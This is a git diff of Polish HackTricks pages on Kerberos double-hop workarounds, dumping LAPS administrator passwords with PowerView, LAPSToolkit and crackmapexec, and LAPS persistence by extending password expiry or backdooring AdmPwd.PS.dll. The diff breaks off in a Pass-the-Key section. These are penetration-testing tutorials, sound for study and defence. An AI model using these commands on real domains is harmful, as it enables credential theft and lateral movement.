<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -27,37 +27,37 @@ Dzieje się tak, ponieważ podczas łączenia się za pomocą Kerberos zachodzą
|
||||||
1. Użytkownik1 podaje poświadczenia, a **kontroler domeny** zwraca użytkownikowi1 **TGT** Kerberos.
|
1. Użytkownik1 podaje poświadczenia, a **kontroler domeny** zwraca użytkownikowi1 **TGT** Kerberos.
|
||||||
2. Użytkownik1 używa **TGT** do żądania **biletu usługi** w celu **połączenia** z Serwerem1.
|
2. Użytkownik1 używa **TGT** do żądania **biletu usługi** w celu **połączenia** z Serwerem1.
|
||||||
3. Użytkownik1 **łączy się** z **Serwerem1** i dostarcza **bilet usługi**.
|
3. Użytkownik1 **łączy się** z **Serwerem1** i dostarcza **bilet usługi**.
|
||||||
4. **Serwer1** **nie ma** **przechowywanych poświadczeń** użytkownika1 ani **TGT** użytkownika1. Dlatego gdy użytkownik1 z Serwera1 próbuje zalogować się na drugi serwer, nie jest **w stanie się uwierzytelnić**.
|
4. **Serwer1** **nie ma** **przechowywanych poświadczeń** użytkownika1 ani **TGT** użytkownika1. Dlatego gdy Użytkownik1 z Serwera1 próbuje zalogować się na drugi serwer, nie jest **w stanie się uwierzytelnić**.
|
||||||
|
|
||||||
### Nieograniczone przekazywanie
|
### Nieograniczone przekazywanie
|
||||||
|
|
||||||
Jeśli jest włączone **nieograniczone przekazywanie** na PC, to nie wystąpi to, ponieważ **Serwer** otrzyma **TGT** każdego użytkownika, który się do niego loguje. Ponadto, jeśli jest używane nieograniczone przekazywanie, prawdopodobnie można **skompromitować kontroler domeny**.\
|
Jeśli jest włączone **nieograniczone przekazywanie** na PC, to nie wystąpi ten problem, ponieważ **Serwer** otrzyma **TGT** każdego użytkownika, który się do niego łączy. Ponadto, jeśli jest używane nieograniczone przekazywanie, prawdopodobnie można **skompromitować kontroler domeny** z niego.\
|
||||||
[**Więcej informacji na stronie dotyczącej nieograniczonego przekazywania**](unconstrained-delegation.md).
|
[**Więcej informacji na stronie dotyczącej nieograniczonego przekazywania**](unconstrained-delegation.md).
|
||||||
|
|
||||||
### CredSSP
|
### CredSSP
|
||||||
|
|
||||||
Innym sposobem uniknięcia tego problemu, który jest [**zauważalnie niebezpieczny**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), jest **Dostawca Obsługi Bezpieczeństwa Poświadczeń**. Według Microsoftu:
|
Innym sposobem uniknięcia tego problemu, który jest [**zauważalnie niebezpieczny**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), jest **Dostawca Obsługi Bezpieczeństwa Poświadczeń**. Według Microsoftu:
|
||||||
|
|
||||||
> Uwierzytelnianie CredSSP deleguje poświadczenia użytkownika z komputera lokalnego do zdalnego komputera. Ta praktyka zwiększa ryzyko bezpieczeństwa operacji zdalnych. Jeśli zdalny komputer zostanie skompromitowany, gdy poświadczenia zostaną do niego przekazane, poświadczenia mogą być użyte do kontrolowania sesji sieciowej.
|
> Uwierzytelnianie CredSSP przekazuje poświadczenia użytkownika z komputera lokalnego do zdalnego komputera. Ta praktyka zwiększa ryzyko bezpieczeństwa operacji zdalnych. Jeśli zdalny komputer zostanie skompromitowany, gdy poświadczenia zostaną do niego przekazane, poświadczenia mogą być użyte do kontrolowania sesji sieciowej.
|
||||||
|
|
||||||
Zaleca się wyłączenie **CredSSP** na systemach produkcyjnych, wrażliwych sieciach i podobnych środowiskach ze względów bezpieczeństwa. Aby sprawdzić, czy **CredSSP** jest włączone, można użyć polecenia `Get-WSManCredSSP`. Polecenie to pozwala na **sprawdzenie statusu CredSSP** i może być nawet wykonane zdalnie, o ile jest włączone **WinRM**.
|
Zaleca się wyłączenie **CredSSP** na systemach produkcyjnych, wrażliwych sieciach i podobnych środowiskach ze względów bezpieczeństwa. Aby sprawdzić, czy **CredSSP** jest włączone, można uruchomić polecenie `Get-WSManCredSSP`. Polecenie to pozwala na **sprawdzenie stanu CredSSP** i może być nawet wykonane zdalnie, o ile jest włączone **WinRM**.
|
||||||
```powershell
|
```powershell
|
||||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||||
Get-WSManCredSSP
|
Get-WSManCredSSP
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## Rozwiązania tymczasowe
|
## Metody obejścia
|
||||||
|
|
||||||
### Wywołanie polecenia
|
### Wywołanie polecenia
|
||||||
|
|
||||||
Aby rozwiązać problem podwójnego skoku, przedstawiona jest metoda wykorzystująca zagnieżdżone polecenie `Invoke-Command`. Nie rozwiązuje to problemu bezpośrednio, ale oferuje obejście bez konieczności stosowania specjalnych konfiguracji. Ten sposób pozwala na wykonanie polecenia (`hostname`) na drugim serwerze za pomocą polecenia PowerShell wykonanego z początkowego atakującego komputera lub poprzez wcześniej ustanowioną sesję PS z pierwszym serwerem. Oto jak to się robi:
|
Aby rozwiązać problem podwójnego skoku, przedstawiona jest metoda wykorzystująca zagnieżdżone polecenie `Invoke-Command`. Nie rozwiązuje to problemu bezpośrednio, ale oferuje obejście bez konieczności stosowania specjalnych konfiguracji. Podejście to pozwala na wykonanie polecenia (`hostname`) na drugim serwerze za pomocą polecenia PowerShell wykonanego z początkowego atakującego komputera lub poprzez wcześniej ustanowioną sesję PS-Session z pierwszym serwerem. Oto jak to się robi:
|
||||||
```powershell
|
```powershell
|
||||||
$cred = Get-Credential ta\redsuit
|
$cred = Get-Credential ta\redsuit
|
||||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Alternatywnie, zaleca się ustanowienie sesji PS z pierwszym serwerem i uruchomienie `Invoke-Command` za pomocą `$cred` w celu scentralizowania zadań.
|
Alternatywnie, ustanowienie sesji PS z pierwszym serwerem i uruchomienie polecenia `Invoke-Command` przy użyciu `$cred` jest sugerowane do scentralizowania zadań.
|
||||||
|
|
||||||
### Zarejestruj konfigurację sesji PS
|
### Zarejestruj konfigurację sesji PS
|
||||||
|
|
||||||
|
@ -70,24 +70,24 @@ klist
|
||||||
```
|
```
|
||||||
### Przekierowywanie portów
|
### Przekierowywanie portów
|
||||||
|
|
||||||
Dla lokalnych administratorów na pośrednim celu, przekierowywanie portów pozwala na przesyłanie żądań do ostatecznego serwera. Korzystając z `netsh`, można dodać regułę przekierowania portu, obok reguły zapory systemu Windows, aby zezwolić na przekierowany port.
|
Dla administratorów lokalnych na docelowym pośrednim serwerze, przekierowywanie portów pozwala na przesyłanie żądań do ostatecznego serwera. Korzystając z `netsh`, można dodać regułę przekierowywania portów, wraz z regułą zapory systemu Windows, aby zezwolić na przekierowany port.
|
||||||
```bash
|
```bash
|
||||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||||
```
|
```
|
||||||
#### winrs.exe
|
#### winrs.exe
|
||||||
|
|
||||||
`winrs.exe` może być używany do przekazywania żądań WinRM, potencjalnie jako opcja mniej wykrywalna, jeśli obawiasz się monitorowania PowerShell. Poniższe polecenie demonstruje jego użycie:
|
`winrs.exe` może być używany do przekazywania żądań WinRM, potencjalnie jako mniej wykrywalna opcja, jeśli obawiasz się monitorowania PowerShell. Poniższe polecenie demonstruje jego użycie:
|
||||||
```bash
|
```bash
|
||||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||||
```
|
```
|
||||||
### OpenSSH
|
### OpenSSH
|
||||||
|
|
||||||
Instalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach z użyciem skrzynki skokowej. Ta metoda wymaga instalacji wiersza poleceń i konfiguracji OpenSSH dla systemu Windows. Po skonfigurowaniu uwierzytelniania hasłem, pośredni serwer może uzyskać TGT w imieniu użytkownika.
|
Instalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach skrzynki skokowej. Ta metoda wymaga instalacji wiersza poleceń i konfiguracji OpenSSH dla systemu Windows. Po skonfigurowaniu uwierzytelniania hasłem, pozwala to serwerowi pośredniemu na uzyskanie TGT w imieniu użytkownika.
|
||||||
|
|
||||||
#### Kroki instalacji OpenSSH
|
#### Kroki instalacji OpenSSH
|
||||||
|
|
||||||
1. Pobierz i przenieś najnowszy plik zip z wydaniem OpenSSH na docelowy serwer.
|
1. Pobierz i przenieś najnowszy plik zip z wydaniem OpenSSH na serwer docelowy.
|
||||||
2. Rozpakuj i uruchom skrypt `Install-sshd.ps1`.
|
2. Rozpakuj i uruchom skrypt `Install-sshd.ps1`.
|
||||||
3. Dodaj regułę zapory sieciowej, aby otworzyć port 22 i sprawdź, czy usługi SSH są uruchomione.
|
3. Dodaj regułę zapory sieciowej, aby otworzyć port 22 i sprawdź, czy usługi SSH są uruchomione.
|
||||||
|
|
||||||
|
@ -102,7 +102,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -113,7 +113,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -12,16 +12,16 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## Podstawowe informacje
|
## Podstawowe informacje
|
||||||
|
|
||||||
Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym **hasła administratora**, które są **unikalne, losowe i często zmieniane**, są stosowane do komputerów dołączonych do domeny. Te hasła są przechowywane bezpiecznie w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali uprawnienia poprzez listy kontroli dostępu (ACL). Bezpieczeństwo transmisji hasła z klienta do serwera jest zapewnione przez użycie **Kerberos w wersji 5** i **zaawansowanego standardu szyfrowania (AES)**.
|
Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym **hasła administratora**, które są **unikalne, losowe i często zmieniane**, są stosowane do komputerów dołączonych do domeny. Te hasła są przechowywane bezpiecznie w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali uprawnienia poprzez listy kontroli dostępu (ACL). Bezpieczeństwo transmisji hasła z klienta do serwera jest zapewnione przez użycie **Kerberos w wersji 5** i **Advanced Encryption Standard (AES)**.
|
||||||
|
|
||||||
W obiektach komputerów domeny, wdrożenie LAPS skutkuje dodaniem dwóch nowych atrybutów: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Te atrybuty przechowują odpowiednio **hasło administratora w postaci tekstu jawnego** i **jego czas wygaśnięcia**.
|
W obiektach komputerów domeny, wdrożenie LAPS skutkuje dodaniem dwóch nowych atrybutów: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Te atrybuty przechowują odpowiednio **hasło administratora w postaci zwykłego tekstu** i **jego czas wygaśnięcia**.
|
||||||
|
|
||||||
### Sprawdź, czy jest aktywowany
|
### Sprawdź, czy jest aktywowany
|
||||||
```bash
|
```bash
|
||||||
|
@ -38,9 +38,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
||||||
```
|
```
|
||||||
### Dostęp do hasła LAPS
|
### Dostęp do hasła LAPS
|
||||||
|
|
||||||
Możesz **pobrać surową politykę LAPS** z `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`, a następnie użyć **`Parse-PolFile`** z pakietu [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) do przekształcenia tego pliku w czytelną formę dla człowieka.
|
Możesz **pobrać surową politykę LAPS** z `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`, a następnie użyć **`Parse-PolFile`** z pakietu [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser), aby przekonwertować ten plik na czytelną dla człowieka formę.
|
||||||
|
|
||||||
Co więcej, **wbudowane polecenia PowerShell LAPS** mogą być używane, jeśli są zainstalowane na maszynie, do której mamy dostęp:
|
Co więcej, **wbudowane polecenia PowerShell LAPS** mogą być użyte, jeśli są zainstalowane na maszynie, do której mamy dostęp:
|
||||||
```powershell
|
```powershell
|
||||||
Get-Command *AdmPwd*
|
Get-Command *AdmPwd*
|
||||||
|
|
||||||
|
@ -71,9 +71,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
||||||
```
|
```
|
||||||
### LAPSToolkit
|
### LAPSToolkit
|
||||||
|
|
||||||
Narzędzie [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) ułatwia wyliczanie LAPS za pomocą kilku funkcji.\
|
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) ułatwia wyliczanie LAPS za pomocą kilku funkcji.\
|
||||||
Jedną z nich jest analiza **`ExtendedRights`** dla **wszystkich komputerów z włączonym LAPS.** To pokaże **grupy**, które są specjalnie **upoważnione do odczytywania haseł LAPS**, które często są użytkownikami w chronionych grupach.\
|
Jedną z nich jest analiza **`ExtendedRights`** dla **wszystkich komputerów z włączonym LAPS.** To pokaże **grupy** specjalnie **upoważnione do odczytu haseł LAPS**, które często są użytkownikami w chronionych grupach.\
|
||||||
Konto, które dołączyło komputer do domeny, otrzymuje `All Extended Rights` nad tym hostem, a to prawo daje temu **kontu** możliwość **odczytywania haseł**. Wyliczenie może pokazać konto użytkownika, które może odczytać hasło LAPS na hoście. To może pomóc nam **w celowaniu w konkretne użytkowników AD**, którzy mogą odczytywać hasła LAPS.
|
**Konto**, które dołączyło komputer do domeny, otrzymuje `All Extended Rights` nad tym hostem, a to prawo daje temu **kontu** możliwość **odczytu haseł**. Wyliczenie może pokazać konto użytkownika, które może odczytać hasło LAPS na hoście. To może pomóc nam **w docelowym wyborze konkretnych użytkowników AD**, którzy mogą odczytać hasła LAPS.
|
||||||
```powershell
|
```powershell
|
||||||
# Get groups that can read passwords
|
# Get groups that can read passwords
|
||||||
Find-LAPSDelegatedGroups
|
Find-LAPSDelegatedGroups
|
||||||
|
@ -98,7 +98,7 @@ ComputerName Password Expiration
|
||||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||||
```
|
```
|
||||||
## **Wyciek hasła LAPS za pomocą Crackmapexec**
|
## **Wyciek hasła LAPS za pomocą Crackmapexec**
|
||||||
Jeśli nie ma dostępu do powershella, można nadużyć tego uprawnienia zdalnie za pomocą LDAP, korzystając z
|
Jeśli nie ma dostępu do powershell, można nadużyć tego uprawnienia zdalnie za pomocą LDAP, korzystając z
|
||||||
```
|
```
|
||||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||||
```
|
```
|
||||||
|
@ -106,7 +106,7 @@ crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||||
|
|
||||||
### **Data wygaśnięcia**
|
### **Data wygaśnięcia**
|
||||||
|
|
||||||
Gdy już masz uprawnienia administratora, możesz **uzyskać hasła** i **zapobiec** aktualizacji **hasła maszyny**, ustawiając datę wygaśnięcia w przyszłości.
|
Gdy już masz uprawnienia administratora, możesz **uzyskać hasła** i **zapobiec** aktualizacji **hasła** na maszynie, **ustawiając datę wygaśnięcia w przyszłości**.
|
||||||
```powershell
|
```powershell
|
||||||
# Get expiration time
|
# Get expiration time
|
||||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||||
|
@ -116,19 +116,19 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Hasło zostanie nadal zresetowane, jeśli **administrator** użyje polecenia **`Reset-AdmPwdPassword`**; lub jeśli opcja **Nie zezwalaj na dłuższy czas ważności hasła niż wymaga tego zasada** jest włączona w GPO LAPS.
|
Hasło zostanie nadal zresetowane, jeśli **administrator** użyje polecenia **`Reset-AdmPwdPassword`**; lub jeśli opcja **Nie zezwalaj na dłuższy czas ważności hasła niż wymaga tego zasady** jest włączona w GPO LAPS.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Tylnie drzwi
|
### Tylnie drzwi
|
||||||
|
|
||||||
Oryginalny kod źródłowy LAPS można znaleźć [tutaj](https://github.com/GreyCorbel/admpwd), dlatego istnieje możliwość umieszczenia tylnich drzwi w kodzie (wewnątrz metody `Get-AdmPwdPassword` w `Main/AdmPwd.PS/Main.cs` na przykład), które w jakiś sposób **wyprowadzą nowe hasła lub przechowają je gdzieś**.
|
Oryginalny kod źródłowy LAPS można znaleźć [tutaj](https://github.com/GreyCorbel/admpwd), dlatego istnieje możliwość umieszczenia tylnych drzwi w kodzie (wewnątrz metody `Get-AdmPwdPassword` w `Main/AdmPwd.PS/Main.cs` na przykład), które w jakiś sposób **wyprowadzą nowe hasła lub przechowają je gdzieś**.
|
||||||
|
|
||||||
Następnie wystarczy skompilować nowe `AdmPwd.PS.dll` i przesłać go na maszynę do `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (i zmienić czas modyfikacji).
|
Następnie wystarczy skompilować nowe `AdmPwd.PS.dll` i przesłać go na maszynę do `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (i zmienić czas modyfikacji).
|
||||||
|
|
||||||
## Referencje
|
## Referencje
|
||||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -136,10 +136,10 @@ Następnie wystarczy skompilować nowe `AdmPwd.PS.dll` i przesłać go na maszyn
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -12,23 +12,23 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## Przejście hasła/klucza (PTK)
|
## Przejście hasła/klucza (PTK)
|
||||||
|
|
||||||
Atak **Przejście hasła/klucza (PTK)** jest przeznaczony dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Ten atak wykorzystuje skróty NTLM lub klucze AES użytkownika do pozyskania biletów Kerberos, umożliwiając nieautoryzowany dostęp do zasobów w sieci.
|
